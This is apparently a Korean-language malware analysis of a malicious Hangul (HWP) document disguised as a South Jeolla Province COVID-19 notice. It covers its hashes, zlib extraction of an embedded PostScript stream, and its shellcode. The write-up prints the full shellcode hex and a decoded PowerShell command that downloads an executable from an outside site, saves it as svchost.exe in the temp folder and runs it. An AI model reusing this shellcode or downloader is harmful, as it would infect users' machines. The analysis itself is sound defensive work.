파일 구성
- 파일명: 전라남도 코로나 바이러스 대응 긴급 조회.hwp
- 해시값
- MD5: 8451be72b75a38516e7ba7972729909e
- SHA-1: 45de8115b49ef68915e868138c04da375dfb7096
- SHA-256: 7050af905f1696b2b8cdb4c6e6805a618addf5acfbd4edc3fc807a663016ab26
- 바이러스 토탈 조회시 드롭퍼, 다운로더 진단명이 제일 많이 보이는 것을 알 수 있음
SSVIEW
- hwp파일의 OLE 객체 정보를 파싱해주는 도구로 내부 데이터를 뽑아낼 수 있다.
- .ps(포스트 스크립트) 파일이 있는 것으로 보아 해당 BIN0005.ps 파일이 악성 파일을 다운로드 하는 쉘 코드로 추정된다.
BIN0005.ps
- compress 되어 있는 형태라서 decompress를 진행해야 함
zlib decompress
- 한글 문서형 악성코드는 한글의 eps 취약점을 사용하는 경우가 많다.
- eps는 BinData 영역에 .eps 형태로 있는데 zlib으로 압축되어 있는 상태
- 파이썬 코드를 통해 압축해제 가능
import zlib
indata = open("./BIN0005.ps", "rb").read()
outdata = zlib.decompress(indata, -15)
f = open("./BIN0005_decom.ps", "wb")
f.write(outdata)
Post Script 실행
- 02078797A31370A78797A3939203136233238206164642078797A39392078797A31370A78797A3939203136233243206164642078797A39322078797A31370A78797A5F7365636F6E645F617272617930203136234230206164642078797A39372078797A31370A78797A5F7365636F6E645F617272617930203136233938206164642078797A39342078797A31370A78797A5F6C65616B65645F617272617920312067657420636C6F736566696C65> def image cvx exec
- 코드의 끝 부분에 exec를 print로 변경해서 분석 진행
- post script를 실행하기 위해 고스트 스크립트를 다운로드
- 버전은 9.2.6으로 해야 해석이 된다. 최신버전은 해석을 안해줌 보안 이슈인지 모르겠음…
- 난독화 되어 있는것으로 보이는데, 이것을 어떻게 해석해야할지 감이 안잡혔다.
Shellcode 분석
- 포스트 스크립트 해석 후 코드 확인해 보니 shellcode로 추정되는 부분이 있었음
- 33C964A1300000008B400C8B7014AD96AD8B58108B533C03D38B527803D38B722003F333C941AD03C381384765745075F4817804726F634175EB8178086464726575E28B722403F3668B0C4E498B721C03F38B148E03D333F68BF233C9516861727941684C696272684C6F61648BCC5153FFD233C966B96C6C516872742E64686D7376638BCC51FFD033FF8BF833D25266BA656D5268737973748BCC515733D28BD6FFD2E8B0000000706F7765727368656C6C20286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7777772E736F66612E72732F77702D636F6E74656E742F7468656D65732F7477656E74796E696E657465656E2F736173732F6C61796F75742F68312E6A7067272C272574656D70255C5C737663686F73742E65786527293B202574656D70255C5C737663686F73742E6578653B00FFD033D25268657869748BCC5157FFD6FFD0
- 명령어: powershell (new-object System.Net.WebClient).DownloadFile('http://www.sofa.rs/wp-content/themes/twentynineteen/sass/layout/h1.jpg','%temp%\\\\\\\\svchost.exe'); %temp%\\svchost.exe;
- “http://www.sofa.rs/wp-content/themes/twentynineteen/sass/layout/h1.jpg”를 다운로드 받을 때 temp 폴더에 svchost.exe 파일로 다운로드, 그 후에 바로 실행
svchost.exe
- 해당 서버가 현재 내려간 상태로 샘플을 구할 수가 없었음
- 해당 사이트 참고